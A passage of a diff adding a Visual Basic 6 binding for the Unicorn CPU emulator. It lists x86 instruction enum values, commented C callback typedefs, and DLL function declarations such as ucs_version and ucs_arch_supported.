+' UC_X86_INS_VFMADDSUB231PD = 816 +' UC_X86_INS_VFMADDSUBPS = 817 +' UC_X86_INS_VFMADDSUB213PS = 818 +' UC_X86_INS_VFMADDSUB231PS = 819 +' UC_X86_INS_VFMSUB132PD = 820 +' UC_X86_INS_VFMSUB132PS = 821 +' UC_X86_INS_VFMSUBADD132PD = 822 +' UC_X86_INS_VFMSUBADD132PS = 823 +' UC_X86_INS_VFMSUBADDPD = 824 +' UC_X86_INS_VFMSUBADD213PD = 825 +' UC_X86_INS_VFMSUBADD231PD = 826 +' UC_X86_INS_VFMSUBADDPS = 827 +' UC_X86_INS_VFMSUBADD213PS = 828 +' UC_X86_INS_VFMSUBADD231PS = 829 +' UC_X86_INS_VFMSUBPD = 830 +' UC_X86_INS_VFMSUB213PD = 831 +' UC_X86_INS_VFMSUB231PD = 832 +' UC_X86_INS_VFMSUBPS = 833 +' UC_X86_INS_VFMSUB213PS = 834 +' UC_X86_INS_VFMSUB231PS = 835 +' UC_X86_INS_VFMSUBSD = 836 +' UC_X86_INS_VFMSUB213SD = 837 +' UC_X86_INS_VFMSUB132SD = 838 +' UC_X86_INS_VFMSUB231SD = 839 +' UC_X86_INS_VFMSUBSS = 840 +' UC_X86_INS_VFMSUB213SS = 841 +' UC_X86_INS_VFMSUB132SS = 842 +' UC_X86_INS_VFMSUB231SS = 843 +' UC_X86_INS_VFNMADD132PD = 844 +' UC_X86_INS_VFNMADD132PS = 845 +' UC_X86_INS_VFNMADDPD = 846 +' UC_X86_INS_VFNMADD213PD = 847 +' UC_X86_INS_VFNMADD231PD = 848 +' UC_X86_INS_VFNMADDPS = 849 +' UC_X86_INS_VFNMADD213PS = 850 +' UC_X86_INS_VFNMADD231PS = 851 +' UC_X86_INS_VFNMADDSD = 852 +' UC_X86_INS_VFNMADD213SD = 853 +' UC_X86_INS_VFNMADD132SD = 854 +' UC_X86_INS_VFNMADD231SD = 855 +' UC_X86_INS_VFNMADDSS = 856 +' UC_X86_INS_VFNMADD213SS = 857 +' UC_X86_INS_VFNMADD132SS = 858 +' UC_X86_INS_VFNMADD231SS = 859 +' UC_X86_INS_VFNMSUB132PD = 860 +' UC_X86_INS_VFNMSUB132PS = 861 +' UC_X86_INS_VFNMSUBPD = 862 +' UC_X86_INS_VFNMSUB213PD = 863 +' UC_X86_INS_VFNMSUB231PD = 864 +' UC_X86_INS_VFNMSUBPS = 865 +' UC_X86_INS_VFNMSUB213PS = 866 +' UC_X86_INS_VFNMSUB231PS = 867 +' UC_X86_INS_VFNMSUBSD = 868 +' UC_X86_INS_VFNMSUB213SD = 869 +' UC_X86_INS_VFNMSUB132SD = 870 +' UC_X86_INS_VFNMSUB231SD = 871 +' UC_X86_INS_VFNMSUBSS = 872 +' UC_X86_INS_VFNMSUB213SS = 873 +' UC_X86_INS_VFNMSUB132SS = 874 +' UC_X86_INS_VFNMSUB231SS = 875 +' UC_X86_INS_VFRCZPD = 876 +' UC_X86_INS_VFRCZPS = 877 +' UC_X86_INS_VFRCZSD = 878 +' UC_X86_INS_VFRCZSS = 879 +' UC_X86_INS_VORPD = 880 +' UC_X86_INS_VORPS = 881 +' UC_X86_INS_VXORPD = 882 +' UC_X86_INS_VXORPS = 883 +' UC_X86_INS_VGATHERDPD = 884 +' UC_X86_INS_VGATHERDPS = 885 +' UC_X86_INS_VGATHERPF0DPD = 886 +' UC_X86_INS_VGATHERPF0DPS = 887 +' UC_X86_INS_VGATHERPF0QPD = 888 +' UC_X86_INS_VGATHERPF0QPS = 889 +' UC_X86_INS_VGATHERPF1DPD = 890 +' UC_X86_INS_VGATHERPF1DPS = 891 +' UC_X86_INS_VGATHERPF1QPD = 892 +' UC_X86_INS_VGATHERPF1QPS = 893 +' UC_X86_INS_VGATHERQPD = 894 +' UC_X86_INS_VGATHERQPS = 895 +' UC_X86_INS_VHADDPD = 896 +' UC_X86_INS_VHADDPS = 897 +' UC_X86_INS_VHSUBPD = 898 +' UC_X86_INS_VHSUBPS = 899 +' UC_X86_INS_VINSERTF128 = 900 +' UC_X86_INS_VINSERTF32X4 = 901 +' UC_X86_INS_VINSERTF32X8 = 902 +' UC_X86_INS_VINSERTF64X2 = 903 +' UC_X86_INS_VINSERTF64X4 = 904 +' UC_X86_INS_VINSERTI128 = 905 +' UC_X86_INS_VINSERTI32X4 = 906 +' UC_X86_INS_VINSERTI32X8 = 907 +' UC_X86_INS_VINSERTI64X2 = 908 +' UC_X86_INS_VINSERTI64X4 = 909 +' UC_X86_INS_VINSERTPS = 910 +' UC_X86_INS_VLDDQU = 911 +' UC_X86_INS_VLDMXCSR = 912 +' UC_X86_INS_VMASKMOVDQU = 913 +' UC_X86_INS_VMASKMOVPD = 914 +' UC_X86_INS_VMASKMOVPS = 915 +' UC_X86_INS_VMAXPD = 916 +' UC_X86_INS_VMAXPS = 917 +' UC_X86_INS_VMAXSD = 918 +' UC_X86_INS_VMAXSS = 919 +' UC_X86_INS_VMCALL = 920 +' UC_X86_INS_VMCLEAR = 921 +' UC_X86_INS_VMFUNC = 922 +' UC_X86_INS_VMINPD = 923 +' UC_X86_INS_VMINPS = 924 +' UC_X86_INS_VMINSD = 925 +' UC_X86_INS_VMINSS = 926 +' UC_X86_INS_VMLAUNCH = 927 +' UC_X86_INS_VMLOAD = 928 +' UC_X86_INS_VMMCALL = 929 +' UC_X86_INS_VMOVQ = 930 +' UC_X86_INS_VMOVDDUP = 931 +' UC_X86_INS_VMOVD = 932 +' UC_X86_INS_VMOVDQA32 = 933 +' UC_X86_INS_VMOVDQA64 = 934 +' UC_X86_INS_VMOVDQA = 935 +' UC_X86_INS_VMOVDQU16 = 936 +' UC_X86_INS_VMOVDQU32 = 937 +' UC_X86_INS_VMOVDQU64 = 938 +' UC_X86_INS_VMOVDQU8 = 939 +' UC_X86_INS_VMOVDQU = 940 +' UC_X86_INS_VMOVHLPS = 941 +' UC_X86_INS_VMOVHPD = 942 +' UC_X86_INS_VMOVHPS = 943 +' UC_X86_INS_VMOVLHPS = 944 +' UC_X86_INS_VMOVLPD = 945 +' UC_X86_INS_VMOVLPS = 946 +' UC_X86_INS_VMOVMSKPD = 947 +' UC_X86_INS_VMOVMSKPS = 948 +' UC_X86_INS_VMOVNTDQA = 949 +' UC_X86_INS_VMOVNTDQ = 950 +' UC_X86_INS_VMOVNTPD = 951 +' UC_X86_INS_VMOVNTPS = 952 +' UC_X86_INS_VMOVSD = 953 +' UC_X86_INS_VMOVSHDUP = 954 +' UC_X86_INS_VMOVSLDUP = 955 +' UC_X86_INS_VMOVSS = 956 +' UC_X86_INS_VMOVUPD = 957 +' UC_X86_INS_VMOVUPS = 958 +' UC_X86_INS_VMPSADBW = 959 +' UC_X86_INS_VMPTRLD = 960 +' UC_X86_INS_VMPTRST = 961 +' UC_X86_INS_VMREAD = 962 +' UC_X86_INS_VMRESUME = 963 +' UC_X86_INS_VMRUN = 964 +' UC_X86_INS_VMSAVE = 965 +' UC_X86_INS_VMULPD = 966 +' UC_X86_INS_VMULPS = 967 +' UC_X86_INS_VMULSD = 968 +' UC_X86_INS_VMULSS = 969 +' UC_X86_INS_VMWRITE = 970 +' UC_X86_INS_VMXOFF = 971 +' UC_X86_INS_VMXON = 972 +' UC_X86_INS_VPABSB = 973 +' UC_X86_INS_VPABSD = 974 +' UC_X86_INS_VPABSQ = 975 +' UC_X86_INS_VPABSW = 976 +' UC_X86_INS_VPACKSSDW = 977 +' UC_X86_INS_VPACKSSWB = 978 +' UC_X86_INS_VPACKUSDW = 979 +' UC_X86_INS_VPACKUSWB = 980 +' UC_X86_INS_VPADDB = 981 +' UC_X86_INS_VPADDD = 982 +' UC_X86_INS_VPADDQ = 983 +' UC_X86_INS_VPADDSB = 984 +' UC_X86_INS_VPADDSW = 985 +' UC_X86_INS_VPADDUSB = 986 +' UC_X86_INS_VPADDUSW = 987 +' UC_X86_INS_VPADDW = 988 +' UC_X86_INS_VPALIGNR = 989 +' UC_X86_INS_VPANDD = 990 +' UC_X86_INS_VPANDND = 991 +' UC_X86_INS_VPANDNQ = 992 +' UC_X86_INS_VPANDN = 993 +' UC_X86_INS_VPANDQ = 994 +' UC_X86_INS_VPAND = 995 +' UC_X86_INS_VPAVGB = 996 +' UC_X86_INS_VPAVGW = 997 +' UC_X86_INS_VPBLENDD = 998 +' UC_X86_INS_VPBLENDMB = 999 +' UC_X86_INS_VPBLENDMD = 1000 +' UC_X86_INS_VPBLENDMQ = 1001 +' UC_X86_INS_VPBLENDMW = 1002 +' UC_X86_INS_VPBLENDVB = 1003 +' UC_X86_INS_VPBLENDW = 1004 +' UC_X86_INS_VPBROADCASTB = 1005 +' UC_X86_INS_VPBROADCASTD = 1006 +' UC_X86_INS_VPBROADCASTMB2Q = 1007 +' UC_X86_INS_VPBROADCASTMW2D = 1008 +' UC_X86_INS_VPBROADCASTQ = 1009 +' UC_X86_INS_VPBROADCASTW = 1010 +' UC_X86_INS_VPCLMULQDQ = 1011 +' UC_X86_INS_VPCMOV = 1012 +' UC_X86_INS_VPCMPB = 1013 +' UC_X86_INS_VPCMPD = 1014 +' UC_X86_INS_VPCMPEQB = 1015 +' UC_X86_INS_VPCMPEQD = 1016 +' UC_X86_INS_VPCMPEQQ = 1017 +' UC_X86_INS_VPCMPEQW = 1018 +' UC_X86_INS_VPCMPESTRI = 1019 +' UC_X86_INS_VPCMPESTRM = 1020 +' UC_X86_INS_VPCMPGTB = 1021 +' UC_X86_INS_VPCMPGTD = 1022 +' UC_X86_INS_VPCMPGTQ = 1023 +' UC_X86_INS_VPCMPGTW = 1024 +' UC_X86_INS_VPCMPISTRI = 1025 +' UC_X86_INS_VPCMPISTRM = 1026 +' UC_X86_INS_VPCMPQ = 1027 +' UC_X86_INS_VPCMPUB = 1028 +' UC_X86_INS_VPCMPUD = 1029 +' UC_X86_INS_VPCMPUQ = 1030 +' UC_X86_INS_VPCMPUW = 1031 +' UC_X86_INS_VPCMPW = 1032 +' UC_X86_INS_VPCOMB = 1033 +' UC_X86_INS_VPCOMD = 1034 +' UC_X86_INS_VPCOMPRESSD = 1035 +' UC_X86_INS_VPCOMPRESSQ = 1036 +' UC_X86_INS_VPCOMQ = 1037 +' UC_X86_INS_VPCOMUB = 1038 +' UC_X86_INS_VPCOMUD = 1039 +' UC_X86_INS_VPCOMUQ = 1040 +' UC_X86_INS_VPCOMUW = 1041 +' UC_X86_INS_VPCOMW = 1042 +' UC_X86_INS_VPCONFLICTD = 1043 +' UC_X86_INS_VPCONFLICTQ = 1044 +' UC_X86_INS_VPERM2F128 = 1045 +' UC_X86_INS_VPERM2I128 = 1046 +' UC_X86_INS_VPERMD = 1047 +' UC_X86_INS_VPERMI2D = 1048 +' UC_X86_INS_VPERMI2PD = 1049 +' UC_X86_INS_VPERMI2PS = 1050 +' UC_X86_INS_VPERMI2Q = 1051 +' UC_X86_INS_VPERMIL2PD = 1052 +' UC_X86_INS_VPERMIL2PS = 1053 +' UC_X86_INS_VPERMILPD = 1054 +' UC_X86_INS_VPERMILPS = 1055 +' UC_X86_INS_VPERMPD = 1056 +' UC_X86_INS_VPERMPS = 1057 +' UC_X86_INS_VPERMQ = 1058 +' UC_X86_INS_VPERMT2D = 1059 +' UC_X86_INS_VPERMT2PD = 1060 +' UC_X86_INS_VPERMT2PS = 1061 +' UC_X86_INS_VPERMT2Q = 1062 +' UC_X86_INS_VPEXPANDD = 1063 +' UC_X86_INS_VPEXPANDQ = 1064 +' UC_X86_INS_VPEXTRB = 1065 +' UC_X86_INS_VPEXTRD = 1066 +' UC_X86_INS_VPEXTRQ = 1067 +' UC_X86_INS_VPEXTRW = 1068 +' UC_X86_INS_VPGATHERDD = 1069 +' UC_X86_INS_VPGATHERDQ = 1070 +' UC_X86_INS_VPGATHERQD = 1071 +' UC_X86_INS_VPGATHERQQ = 1072 +' UC_X86_INS_VPHADDBD = 1073 +' UC_X86_INS_VPHADDBQ = 1074 +' UC_X86_INS_VPHADDBW = 1075 +' UC_X86_INS_VPHADDDQ = 1076 +' UC_X86_INS_VPHADDD = 1077 +' UC_X86_INS_VPHADDSW = 1078 +' UC_X86_INS_VPHADDUBD = 1079 +' UC_X86_INS_VPHADDUBQ = 1080 +' UC_X86_INS_VPHADDUBW = 1081 +' UC_X86_INS_VPHADDUDQ = 1082 +' UC_X86_INS_VPHADDUWD = 1083 +' UC_X86_INS_VPHADDUWQ = 1084 +' UC_X86_INS_VPHADDWD = 1085 +' UC_X86_INS_VPHADDWQ = 1086 +' UC_X86_INS_VPHADDW = 1087 +' UC_X86_INS_VPHMINPOSUW = 1088 +' UC_X86_INS_VPHSUBBW = 1089 +' UC_X86_INS_VPHSUBDQ = 1090 +' UC_X86_INS_VPHSUBD = 1091 +' UC_X86_INS_VPHSUBSW = 1092 +' UC_X86_INS_VPHSUBWD = 1093 +' UC_X86_INS_VPHSUBW = 1094 +' UC_X86_INS_VPINSRB = 1095 +' UC_X86_INS_VPINSRD = 1096 +' UC_X86_INS_VPINSRQ = 1097 +' UC_X86_INS_VPINSRW = 1098 +' UC_X86_INS_VPLZCNTD = 1099 +' UC_X86_INS_VPLZCNTQ = 1100 +' UC_X86_INS_VPMACSDD = 1101 +' UC_X86_INS_VPMACSDQH = 1102 +' UC_X86_INS_VPMACSDQL = 1103 +' UC_X86_INS_VPMACSSDD = 1104 +' UC_X86_INS_VPMACSSDQH = 1105 +' UC_X86_INS_VPMACSSDQL = 1106 +' UC_X86_INS_VPMACSSWD = 1107 +' UC_X86_INS_VPMACSSWW = 1108 +' UC_X86_INS_VPMACSWD = 1109 +' UC_X86_INS_VPMACSWW = 1110 +' UC_X86_INS_VPMADCSSWD = 1111 +' UC_X86_INS_VPMADCSWD = 1112 +' UC_X86_INS_VPMADDUBSW = 1113 +' UC_X86_INS_VPMADDWD = 1114 +' UC_X86_INS_VPMASKMOVD = 1115 +' UC_X86_INS_VPMASKMOVQ = 1116 +' UC_X86_INS_VPMAXSB = 1117 +' UC_X86_INS_VPMAXSD = 1118 +' UC_X86_INS_VPMAXSQ = 1119 +' UC_X86_INS_VPMAXSW = 1120 +' UC_X86_INS_VPMAXUB = 1121 +' UC_X86_INS_VPMAXUD = 1122 +' UC_X86_INS_VPMAXUQ = 1123 +' UC_X86_INS_VPMAXUW = 1124 +' UC_X86_INS_VPMINSB = 1125 +' UC_X86_INS_VPMINSD = 1126 +' UC_X86_INS_VPMINSQ = 1127 +' UC_X86_INS_VPMINSW = 1128 +' UC_X86_INS_VPMINUB = 1129 +' UC_X86_INS_VPMINUD = 1130 +' UC_X86_INS_VPMINUQ = 1131 +' UC_X86_INS_VPMINUW = 1132 +' UC_X86_INS_VPMOVDB = 1133 +' UC_X86_INS_VPMOVDW = 1134 +' UC_X86_INS_VPMOVM2B = 1135 +' UC_X86_INS_VPMOVM2D = 1136 +' UC_X86_INS_VPMOVM2Q = 1137 +' UC_X86_INS_VPMOVM2W = 1138 +' UC_X86_INS_VPMOVMSKB = 1139 +' UC_X86_INS_VPMOVQB = 1140 +' UC_X86_INS_VPMOVQD = 1141 +' UC_X86_INS_VPMOVQW = 1142 +' UC_X86_INS_VPMOVSDB = 1143 +' UC_X86_INS_VPMOVSDW = 1144 +' UC_X86_INS_VPMOVSQB = 1145 +' UC_X86_INS_VPMOVSQD = 1146 +' UC_X86_INS_VPMOVSQW = 1147 +' UC_X86_INS_VPMOVSXBD = 1148 +' UC_X86_INS_VPMOVSXBQ = 1149 +' UC_X86_INS_VPMOVSXBW = 1150 +' UC_X86_INS_VPMOVSXDQ = 1151 +' UC_X86_INS_VPMOVSXWD = 1152 +' UC_X86_INS_VPMOVSXWQ = 1153 +' UC_X86_INS_VPMOVUSDB = 1154 +' UC_X86_INS_VPMOVUSDW = 1155 +' UC_X86_INS_VPMOVUSQB = 1156 +' UC_X86_INS_VPMOVUSQD = 1157 +' UC_X86_INS_VPMOVUSQW = 1158 +' UC_X86_INS_VPMOVZXBD = 1159 +' UC_X86_INS_VPMOVZXBQ = 1160 +' UC_X86_INS_VPMOVZXBW = 1161 +' UC_X86_INS_VPMOVZXDQ = 1162 +' UC_X86_INS_VPMOVZXWD = 1163 +' UC_X86_INS_VPMOVZXWQ = 1164 +' UC_X86_INS_VPMULDQ = 1165 +' UC_X86_INS_VPMULHRSW = 1166 +' UC_X86_INS_VPMULHUW = 1167 +' UC_X86_INS_VPMULHW = 1168 +' UC_X86_INS_VPMULLD = 1169 +' UC_X86_INS_VPMULLQ = 1170 +' UC_X86_INS_VPMULLW = 1171 +' UC_X86_INS_VPMULUDQ = 1172 +' UC_X86_INS_VPORD = 1173 +' UC_X86_INS_VPORQ = 1174 +' UC_X86_INS_VPOR = 1175 +' UC_X86_INS_VPPERM = 1176 +' UC_X86_INS_VPROTB = 1177 +' UC_X86_INS_VPROTD = 1178 +' UC_X86_INS_VPROTQ = 1179 +' UC_X86_INS_VPROTW = 1180 +' UC_X86_INS_VPSADBW = 1181 +' UC_X86_INS_VPSCATTERDD = 1182 +' UC_X86_INS_VPSCATTERDQ = 1183 +' UC_X86_INS_VPSCATTERQD = 1184 +' UC_X86_INS_VPSCATTERQQ = 1185 +' UC_X86_INS_VPSHAB = 1186 +' UC_X86_INS_VPSHAD = 1187 +' UC_X86_INS_VPSHAQ = 1188 +' UC_X86_INS_VPSHAW = 1189 +' UC_X86_INS_VPSHLB = 1190 +' UC_X86_INS_VPSHLD = 1191 +' UC_X86_INS_VPSHLQ = 1192 +' UC_X86_INS_VPSHLW = 1193 +' UC_X86_INS_VPSHUFB = 1194 +' UC_X86_INS_VPSHUFD = 1195 +' UC_X86_INS_VPSHUFHW = 1196 +' UC_X86_INS_VPSHUFLW = 1197 +' UC_X86_INS_VPSIGNB = 1198 +' UC_X86_INS_VPSIGND = 1199 +' UC_X86_INS_VPSIGNW = 1200 +' UC_X86_INS_VPSLLDQ = 1201 +' UC_X86_INS_VPSLLD = 1202 +' UC_X86_INS_VPSLLQ = 1203 +' UC_X86_INS_VPSLLVD = 1204 +' UC_X86_INS_VPSLLVQ = 1205 +' UC_X86_INS_VPSLLW = 1206 +' UC_X86_INS_VPSRAD = 1207 +' UC_X86_INS_VPSRAQ = 1208 +' UC_X86_INS_VPSRAVD = 1209 +' UC_X86_INS_VPSRAVQ = 1210 +' UC_X86_INS_VPSRAW = 1211 +' UC_X86_INS_VPSRLDQ = 1212 +' UC_X86_INS_VPSRLD = 1213 +' UC_X86_INS_VPSRLQ = 1214 +' UC_X86_INS_VPSRLVD = 1215 +' UC_X86_INS_VPSRLVQ = 1216 +' UC_X86_INS_VPSRLW = 1217 +' UC_X86_INS_VPSUBB = 1218 +' UC_X86_INS_VPSUBD = 1219 +' UC_X86_INS_VPSUBQ = 1220 +' UC_X86_INS_VPSUBSB = 1221 +' UC_X86_INS_VPSUBSW = 1222 +' UC_X86_INS_VPSUBUSB = 1223 +' UC_X86_INS_VPSUBUSW = 1224 +' UC_X86_INS_VPSUBW = 1225 +' UC_X86_INS_VPTESTMD = 1226 +' UC_X86_INS_VPTESTMQ = 1227 +' UC_X86_INS_VPTESTNMD = 1228 +' UC_X86_INS_VPTESTNMQ = 1229 +' UC_X86_INS_VPTEST = 1230 +' UC_X86_INS_VPUNPCKHBW = 1231 +' UC_X86_INS_VPUNPCKHDQ = 1232 +' UC_X86_INS_VPUNPCKHQDQ = 1233 +' UC_X86_INS_VPUNPCKHWD = 1234 +' UC_X86_INS_VPUNPCKLBW = 1235 +' UC_X86_INS_VPUNPCKLDQ = 1236 +' UC_X86_INS_VPUNPCKLQDQ = 1237 +' UC_X86_INS_VPUNPCKLWD = 1238 +' UC_X86_INS_VPXORD = 1239 +' UC_X86_INS_VPXORQ = 1240 +' UC_X86_INS_VPXOR = 1241 +' UC_X86_INS_VRCP14PD = 1242 +' UC_X86_INS_VRCP14PS = 1243 +' UC_X86_INS_VRCP14SD = 1244 +' UC_X86_INS_VRCP14SS = 1245 +' UC_X86_INS_VRCP28PD = 1246 +' UC_X86_INS_VRCP28PS = 1247 +' UC_X86_INS_VRCP28SD = 1248 +' UC_X86_INS_VRCP28SS = 1249 +' UC_X86_INS_VRCPPS = 1250 +' UC_X86_INS_VRCPSS = 1251 +' UC_X86_INS_VRNDSCALEPD = 1252 +' UC_X86_INS_VRNDSCALEPS = 1253 +' UC_X86_INS_VRNDSCALESD = 1254 +' UC_X86_INS_VRNDSCALESS = 1255 +' UC_X86_INS_VROUNDPD = 1256 +' UC_X86_INS_VROUNDPS = 1257 +' UC_X86_INS_VROUNDSD = 1258 +' UC_X86_INS_VROUNDSS = 1259 +' UC_X86_INS_VRSQRT14PD = 1260 +' UC_X86_INS_VRSQRT14PS = 1261 +' UC_X86_INS_VRSQRT14SD = 1262 +' UC_X86_INS_VRSQRT14SS = 1263 +' UC_X86_INS_VRSQRT28PD = 1264 +' UC_X86_INS_VRSQRT28PS = 1265 +' UC_X86_INS_VRSQRT28SD = 1266 +' UC_X86_INS_VRSQRT28SS = 1267 +' UC_X86_INS_VRSQRTPS = 1268 +' UC_X86_INS_VRSQRTSS = 1269 +' UC_X86_INS_VSCATTERDPD = 1270 +' UC_X86_INS_VSCATTERDPS = 1271 +' UC_X86_INS_VSCATTERPF0DPD = 1272 +' UC_X86_INS_VSCATTERPF0DPS = 1273 +' UC_X86_INS_VSCATTERPF0QPD = 1274 +' UC_X86_INS_VSCATTERPF0QPS = 1275 +' UC_X86_INS_VSCATTERPF1DPD = 1276 +' UC_X86_INS_VSCATTERPF1DPS = 1277 +' UC_X86_INS_VSCATTERPF1QPD = 1278 +' UC_X86_INS_VSCATTERPF1QPS = 1279 +' UC_X86_INS_VSCATTERQPD = 1280 +' UC_X86_INS_VSCATTERQPS = 1281 +' UC_X86_INS_VSHUFPD = 1282 +' UC_X86_INS_VSHUFPS = 1283 +' UC_X86_INS_VSQRTPD = 1284 +' UC_X86_INS_VSQRTPS = 1285 +' UC_X86_INS_VSQRTSD = 1286 +' UC_X86_INS_VSQRTSS = 1287 +' UC_X86_INS_VSTMXCSR = 1288 +' UC_X86_INS_VSUBPD = 1289 +' UC_X86_INS_VSUBPS = 1290 +' UC_X86_INS_VSUBSD = 1291 +' UC_X86_INS_VSUBSS = 1292 +' UC_X86_INS_VTESTPD = 1293 +' UC_X86_INS_VTESTPS = 1294 +' UC_X86_INS_VUNPCKHPD = 1295 +' UC_X86_INS_VUNPCKHPS = 1296 +' UC_X86_INS_VUNPCKLPD = 1297 +' UC_X86_INS_VUNPCKLPS = 1298 +' UC_X86_INS_VZEROALL = 1299 +' UC_X86_INS_VZEROUPPER = 1300 +' UC_X86_INS_WAIT = 1301 +' UC_X86_INS_WBINVD = 1302 +' UC_X86_INS_WRFSBASE = 1303 +' UC_X86_INS_WRGSBASE = 1304 +' UC_X86_INS_WRMSR = 1305 +' UC_X86_INS_XABORT = 1306 +' UC_X86_INS_XACQUIRE = 1307 +' UC_X86_INS_XBEGIN = 1308 +' UC_X86_INS_XCHG = 1309 +' UC_X86_INS_XCRYPTCBC = 1310 +' UC_X86_INS_XCRYPTCFB = 1311 +' UC_X86_INS_XCRYPTCTR = 1312 +' UC_X86_INS_XCRYPTECB = 1313 +' UC_X86_INS_XCRYPTOFB = 1314 +' UC_X86_INS_XEND = 1315 +' UC_X86_INS_XGETBV = 1316 +' UC_X86_INS_XLATB = 1317 +' UC_X86_INS_XRELEASE = 1318 +' UC_X86_INS_XRSTOR = 1319 +' UC_X86_INS_XRSTOR64 = 1320 +' UC_X86_INS_XRSTORS = 1321 +' UC_X86_INS_XRSTORS64 = 1322 +' UC_X86_INS_XSAVE = 1323 +' UC_X86_INS_XSAVE64 = 1324 +' UC_X86_INS_XSAVEC = 1325 +' UC_X86_INS_XSAVEC64 = 1326 +' UC_X86_INS_XSAVEOPT = 1327 +' UC_X86_INS_XSAVEOPT64 = 1328 +' UC_X86_INS_XSAVES = 1329 +' UC_X86_INS_XSAVES64 = 1330 +' UC_X86_INS_XSETBV = 1331 +' UC_X86_INS_XSHA1 = 1332 +' UC_X86_INS_XSHA256 = 1333 +' UC_X86_INS_XSTORE = 1334 +' UC_X86_INS_XTEST = 1335 +' UC_X86_INS_FDISI8087_NOP = 1336 +' UC_X86_INS_FENI8087_NOP = 1337 +' UC_X86_INS_ENDING = 1338 +'End Enum + +'-- [x86 specific] --------------- + +'// Memory-Management Register for instructions IDTR, GDTR, LDTR, TR. +'// Borrow from SegmentCache in qemu/target-i386/cpu.h +'typedef struct uc_x86_mmr { +' uint16_t selector; /* not used by GDTR and IDTR */ +' uint64_t base; /* handle 32 or 64 bit CPUs */ +' uint32_t limit; +' uint32_t flags; /* not used by GDTR and IDTR */ +'} uc_x86_mmr; +' +'// Callback function for tracing SYSCALL/SYSENTER (for uc_hook_intr()) +'// @user_data: user data passed to tracing APIs. +'typedef void (*uc_cb_insn_syscall_t)(struct uc_struct *uc, void *user_data); + +'-------------------------------- + +'// Hook type for all events of unmapped memory access +'#define UC_HOOK_MEM_UNMAPPED (UC_HOOK_MEM_READ_UNMAPPED + UC_HOOK_MEM_WRITE_UNMAPPED + UC_HOOK_MEM_FETCH_UNMAPPED) +'// Hook type for all events of illegal protected memory access +'#define UC_HOOK_MEM_PROT (UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_FETCH_PROT) +'// Hook type for all events of illegal read memory access +'#define UC_HOOK_MEM_READ_INVALID (UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_READ_UNMAPPED) +'// Hook type for all events of illegal write memory access +'#define UC_HOOK_MEM_WRITE_INVALID (UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_WRITE_UNMAPPED) +'// Hook type for all events of illegal fetch memory access +'#define UC_HOOK_MEM_FETCH_INVALID (UC_HOOK_MEM_FETCH_PROT + UC_HOOK_MEM_FETCH_UNMAPPED) +'// Hook type for all events of illegal memory access +'#define UC_HOOK_MEM_INVALID (UC_HOOK_MEM_UNMAPPED + UC_HOOK_MEM_PROT) +'// Hook type for all events of valid memory access +'#define UC_HOOK_MEM_VALID (UC_HOOK_MEM_READ + UC_HOOK_MEM_WRITE + UC_HOOK_MEM_FETCH) + + + +'/* +' Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK) +' +' @address: address where the code is being executed +' @size: size of machine instruction(s) being executed, or 0 when size is unknown +' @user_data: user data passed to tracing APIs. +'*/ +'typedef void (*uc_cb_hookcode_t)(uc_engine *uc, uint64_t address, uint32_t size, void *user_data); +' public sub code_hook(byval uc as long , byval address as currency, byval size as long, byval user_data as long) +' +'/* +' Callback function for tracing interrupts (for uc_hook_intr()) +' +' @intno: interrupt number +' @user_data: user data passed to tracing APIs. +'*/ +'typedef void (*uc_cb_hookintr_t)(uc_engine *uc, uint32_t intno, void *user_data); +' +'/* +' Callback function for tracing IN instruction of X86 +' +' @port: port number +' @size: data size (1/2/4) to be read from this port +' @user_data: user data passed to tracing APIs. +'*/ +'typedef uint32_t (*uc_cb_insn_in_t)(uc_engine *uc, uint32_t port, int size, void *user_data); +' +'/* +' Callback function for OUT instruction of X86 +' +' @port: port number +' @size: data size (1/2/4) to be written to this port +' @value: data value to be written to this port +'*/ +'typedef void (*uc_cb_insn_out_t)(uc_engine *uc, uint32_t port, int size, uint32_t value, void *user_data); +' +'/* +' Callback function for hooking memory (UC_MEM_READ, UC_MEM_WRITE & UC_MEM_FETCH) +' +' @type: this memory is being READ, or WRITE +' @address: address where the code is being executed +' @size: size of data being read or written +' @value: value of data being written to memory, or irrelevant if type = READ. +' @user_data: user data passed to tracing APIs +'*/ +'typedef void (*uc_cb_hookmem_t)(uc_engine *uc, uc_mem_type type, +' uint64_t address, int size, int64_t value, void *user_data); +' +'/* +' Callback function for handling invalid memory access events (UC_MEM_*_UNMAPPED and +' UC_MEM_*PROT events) +' +' @type: this memory is being READ, or WRITE +' @address: address where the code is being executed +' @size: size of data being read or written +' @value: value of data being written to memory, or irrelevant if type = READ. +' @user_data: user data passed to tracing APIs +' +' @return: return true to continue, or false to stop program (due to invalid memory). +'*/ +'typedef bool (*uc_cb_eventmem_t)(uc_engine *uc, uc_mem_type type, +' uint64_t address, int size, int64_t value, void *user_data); + +'/* +' Memory region mapped by uc_mem_map() and uc_mem_map_ptr() +' Retrieve the list of memory regions with uc_mem_regions() +'*/ +'typedef struct uc_mem_region { +' uint64_t begin; // begin address of the region (inclusive) +' uint64_t end; // end address of the region (inclusive) +' uint32_t perms; // memory permissions of the region +'} uc_mem_region; +' +'// All type of queries for uc_query() API. +'typedef enum uc_query_type { +' // Dynamically query current hardware mode. +' UC_QUERY_MODE = 1, +' UC_QUERY_PAGE_SIZE, +'} uc_query_type; + + + +Public Declare Function ucs_dynload Lib "ucvbshim.dll" (ByVal path As String) As Long + + + +'/* +' Return combined API version & major and minor version numbers. +' +' @major: major number of API version +' @minor: minor number of API version +' +' @return hexical number as (major << 8 | minor), which encodes both +' major & minor versions. +' NOTE: This returned value can be compared with version number made +' with macro UC_MAKE_VERSION +' +' For example, second API version would return 1 in @major, and 1 in @minor +' The return value would be 0x0101 +' +' NOTE: if you only care about returned value, but not major and minor values, +' set both @major & @minor arguments to NULL. +'*/ +'UNICORN_EXPORT +'unsigned int uc_version(unsigned int *major, unsigned int *minor); +Public Declare Function ucs_version Lib "ucvbshim.dll" (ByRef major As Long, ByRef minor As Long) As Long + + +' +' +'/* +' Determine if the given architecture is supported by this library. +' +' @arch: architecture type (UC_ARCH_*) +' +' @return True if this library supports the given arch. +'*/ +'UNICORN_EXPORT +'bool uc_arch_supported(uc_arch arch); +Public Declare Function ucs_arch_supported Lib "ucvbshim.dll" (ByVal arch As uc_arch) As Long + + +'/* +' Create new instance of unicorn engine. +' +' @arch: architecture type 